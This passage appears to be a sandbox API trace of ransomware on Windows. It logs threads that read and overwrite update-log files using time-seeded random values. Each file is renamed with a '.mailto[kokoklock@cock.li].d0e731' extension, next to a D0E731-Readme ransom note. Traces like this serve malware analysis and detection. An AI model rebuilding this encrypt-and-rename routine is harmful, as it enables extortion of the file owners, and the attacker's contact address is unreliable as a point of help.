BaseAddress=0x348b5e8) returned 1 [0081.441] RtlExitUserThread (Status=0x1) Thread: id = 1056 os_tid = 0x1784 [0081.438] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.018.etl")) returned 0x2020 [0081.443] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl", dwFileAttributes=0x20) returned 1 [0081.443] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.018.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.443] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x25d3fa50 | out: lpFileSize=0x25d3fa50*=16384) returned 1 [0081.443] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x3ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.443] ReadFile (in: hFile=0x458, lpBuffer=0x25d3fa24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25d3fa20, lpOverlapped=0x0 | out: lpBuffer=0x25d3fa24*, lpNumberOfBytesRead=0x25d3fa20*=0x4, lpOverlapped=0x0) returned 1 [0081.445] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.445] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e428 [0081.445] NtQuerySystemTime (in: CurrentTime=0x25d3f9fc | out: CurrentTime=0x25d3f9fc*=132121176393341642) returned 0x0 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0xd15f69cf [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x7a2cfc10 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x515f3a6 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x9f5160eb [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0xf7f8f7c8 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0xb068d5f1 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x4cd69a9a [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x2ab33b52 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x97add94c [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x8e3ad830 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x93ed0126 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0xf15a0ee7 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x5adc3d86 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0xc96dead3 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0xd7839b73 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x9b6c7a82 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x36f72554 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0xa8a35174 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x68ded8ae [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x418add27 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0xe2ccdec6 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x582e22d3 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x84c9051f [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x5842235 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x4a77ca8f [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x66ed1c84 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0xe7e6cab6 [0081.445] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0xaf029fb5 [0081.446] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x9a68264f [0081.446] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x835ab75e [0081.446] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x48cedd44 [0081.446] RtlRandom (in: Seed=0x25d3fa08 | out: Seed=0x25d3fa08) returned 0x468bce53 [0081.456] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.456] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.457] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x25d3f9fc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x25d3f9fc*=0x4000, lpOverlapped=0x0) returned 1 [0081.458] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25d3f9c4 | out: lpNewFilePointer=0x0) returned 1 [0081.458] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x25d3f9f8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x25d3f9f8*=0x4000, lpOverlapped=0x0) returned 1 [0081.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e478 [0081.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e478) returned 1 [0081.458] WriteFile (in: hFile=0x458, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25d3f9f4, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x25d3f9f4*=0x20, lpOverlapped=0x0) returned 1 [0081.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.458] WriteFile (in: hFile=0x458, lpBuffer=0x342e5b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25d3fa20, lpOverlapped=0x0 | out: lpBuffer=0x342e5b8*, lpNumberOfBytesWritten=0x25d3fa20*=0x8, lpOverlapped=0x0) returned 1 [0081.459] WriteFile (in: hFile=0x458, lpBuffer=0x25d3fa38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25d3fa20, lpOverlapped=0x0 | out: lpBuffer=0x25d3fa38*, lpNumberOfBytesWritten=0x25d3fa20*=0x4, lpOverlapped=0x0) returned 1 [0081.459] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25d3fa20, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x25d3fa20*=0x4, lpOverlapped=0x0) returned 1 [0081.459] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x25d3fa20, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x25d3fa20*=0x6c, lpOverlapped=0x0) returned 1 [0081.459] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25d3fa20, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x25d3fa20*=0x20, lpOverlapped=0x0) returned 1 [0081.459] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25d3fa20, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x25d3fa20*=0x4, lpOverlapped=0x0) returned 1 [0081.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e450) returned 1 [0081.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e5b8) returned 1 [0081.459] CloseHandle (hObject=0x458) returned 1 [0081.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.459] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" [0081.459] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731" [0081.459] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.018.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.018.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.460] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.460] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.460] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.018.etl", dwFileAttributes=0x2020) returned 0 [0081.460] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.460] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.460] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.460] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348baa8) returned 1 [0081.461] RtlExitUserThread (Status=0x1) Thread: id = 1057 os_tid = 0x1788 [0081.462] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.019.etl")) returned 0x2020 [0081.462] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl", dwFileAttributes=0x20) returned 1 [0081.462] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.019.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.463] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x25dbfc50 | out: lpFileSize=0x25dbfc50*=8192) returned 1 [0081.463] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.463] ReadFile (in: hFile=0x458, lpBuffer=0x25dbfc24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25dbfc20, lpOverlapped=0x0 | out: lpBuffer=0x25dbfc24*, lpNumberOfBytesRead=0x25dbfc20*=0x4, lpOverlapped=0x0) returned 1 [0081.464] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e450 [0081.465] NtQuerySystemTime (in: CurrentTime=0x25dbfbfc | out: CurrentTime=0x25dbfbfc*=132121176393653732) returned 0x0 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xe0dad523 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x61fc655 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x2c934559 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xe5e7f0ac [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x593f9172 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xf0fa0875 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xc578ef78 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xae309a51 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xdbe4c2b6 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x1a35db83 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xd3a8fd3 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x47d9a90a [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xc237ce4f [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x971cbee3 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x6c31fd4d [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xe3474f51 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xbf2fee16 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xbfe9933a [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x455d5255 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xab8d3d17 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x1b66788d [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x703c71d [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x6c8d0e7e [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xae663434 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x50bcda29 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xe4fb406 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x955f1ac [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x77cdf6e4 [0081.465] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x9a670de1 [0081.466] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0xcb5ec15e [0081.466] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x37f760a9 [0081.466] RtlRandom (in: Seed=0x25dbfc08 | out: Seed=0x25dbfc08) returned 0x7cc5527b [0081.476] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.476] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.476] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.476] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.476] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.476] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.476] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.476] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.476] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x25dbfbfc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x25dbfbfc*=0x2000, lpOverlapped=0x0) returned 1 [0081.477] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dbfbc4 | out: lpNewFilePointer=0x0) returned 1 [0081.477] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x25dbfbf8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x25dbfbf8*=0x2000, lpOverlapped=0x0) returned 1 [0081.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.478] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e4a0 [0081.478] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e4a0) returned 1 [0081.478] WriteFile (in: hFile=0x458, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25dbfbf4, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x25dbfbf4*=0x20, lpOverlapped=0x0) returned 1 [0081.478] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.478] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.478] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.478] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.478] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.478] WriteFile (in: hFile=0x458, lpBuffer=0x342e5b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dbfc20, lpOverlapped=0x0 | out: lpBuffer=0x342e5b8*, lpNumberOfBytesWritten=0x25dbfc20*=0x8, lpOverlapped=0x0) returned 1 [0081.478] WriteFile (in: hFile=0x458, lpBuffer=0x25dbfc38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25dbfc20, lpOverlapped=0x0 | out: lpBuffer=0x25dbfc38*, lpNumberOfBytesWritten=0x25dbfc20*=0x4, lpOverlapped=0x0) returned 1 [0081.478] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25dbfc20, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x25dbfc20*=0x4, lpOverlapped=0x0) returned 1 [0081.478] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x25dbfc20, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x25dbfc20*=0x6c, lpOverlapped=0x0) returned 1 [0081.479] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25dbfc20, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x25dbfc20*=0x20, lpOverlapped=0x0) returned 1 [0081.479] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25dbfc20, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x25dbfc20*=0x4, lpOverlapped=0x0) returned 1 [0081.479] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.479] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e478) returned 1 [0081.479] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e5b8) returned 1 [0081.479] CloseHandle (hObject=0x458) returned 1 [0081.479] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.479] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" [0081.479] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731" [0081.479] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.019.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.019.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.480] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.480] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.480] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl", dwFileAttributes=0x2020) returned 0 [0081.480] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.480] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.480] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.480] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.480] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.480] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348bc70) returned 1 [0081.481] RtlExitUserThread (Status=0x1) Thread: id = 1058 os_tid = 0x178c [0081.477] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.020.etl")) returned 0x2020 [0081.482] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl", dwFileAttributes=0x20) returned 1 [0081.482] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.020.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.482] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x25e3fc1c | out: lpFileSize=0x25e3fc1c*=12288) returned 1 [0081.482] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.482] ReadFile (in: hFile=0x458, lpBuffer=0x25e3fbf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25e3fbec, lpOverlapped=0x0 | out: lpBuffer=0x25e3fbf0*, lpNumberOfBytesRead=0x25e3fbec*=0x4, lpOverlapped=0x0) returned 1 [0081.484] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e5b8 [0081.484] NtQuerySystemTime (in: CurrentTime=0x25e3fbc8 | out: CurrentTime=0x25e3fbc8*=132121176393810362) returned 0x0 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x176d2832 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xbc8c5d6b [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xbd874c2f [0081.484] RtlRandom (in: Seed=0x25e3fbd4 